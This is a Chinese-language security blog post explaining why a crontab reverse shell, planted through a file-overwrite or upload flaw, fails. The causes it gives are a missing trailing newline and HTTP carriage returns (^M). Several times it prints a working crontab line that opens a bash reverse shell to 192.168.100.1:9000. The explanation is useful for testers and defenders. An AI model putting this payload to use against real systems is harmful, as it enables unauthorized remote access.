文件覆盖漏洞-crontab反弹shell细节问题

crontab反弹shell细节问题

免责声明：由于传播、利用本文所发布的而造成的任何直接或者间接的后果及损失，均由使用者本人承担。

前言

此文是小生针对于springboot框架下，文件上传漏洞RCE姿势研究过程中，衍生出来的一个问题，在[tari]师傅的帮助与自己的苦心研究下，终于得出结果。

当遇到文件上传漏洞、或者文件覆盖、任意文件写入漏洞，无法上传目标脚本文件，或者说上传了但不解析…..诸多一系列问题，就不再提了，相信大家也都遇到过，利用姿势也不多，大家最容易想到的，应该就是 corntab反弹shell。

有的时候，收不到shell原因非常之多，可能是防火墙，可能是态感，可能是各种设备，可能是乱七八糟的策略，但也有可能是自己payload存在问题。

我想这篇博客的标题也可以叫做：

Linux系统与Http协议换行不同而导致反弹shell异常问题

Start

场景还原

场景一

首先，小生以攻击者视角，用最基础原生反弹shell做演示，方便引入对这个问题的理解

这个时候，当我们打开这个文件

会出现这种情况，这是因为，没有为其添加换行导致的

这里shell也不会接受到，因为在crontab中，每一行表示一个计划任务，如果最后一行没有以换行符结尾，那么crontab会认为这不是一个完整，或者是一个无效的命令，所以它不会去执行，也就说这里没有收到shell的原因，是反弹shell的命令没有被crontab执行

这里我们查看日志证明出了，我们的结论，命令没有被执行，所以没有接收到shell

场景二

这个#***大家忽略就好

这里可以看到，因为携带了换行，所以反弹shell这条命令被crontabl当做一条完整且有效的命令，得到了执行

但这个时候，反弹shell报错不明确重定向

查看日志，留意这里多了一个^M

把这个命令拿出来单独执行

这个时候，得出结论，命令的确是被执行了，但命令后面多加了一个^M，导致命令是错误的，无法接收到shell

这个^M又是什么，它表示回车符(\r)，在Linux中换行符是\n，Http中换行符是\r\n

这就导致Http报文传输到Linux系统中，出现了对换行解析的问题(直接写入，未处理换行问题)：

Http报文 : 

* * * * * root bash -i >& /dev/tcp/192.168.100.1/9000 0>&1\r\n

写入到Linux的文件就变成了:

* * * * * root bash -i >& /dev/tcp/192.168.100.1/9000 0>&1^M\n

* * * * * root bash -i >& /dev/tcp/192.168.100.1/9000 0>&1^M

[我是新的一行哦]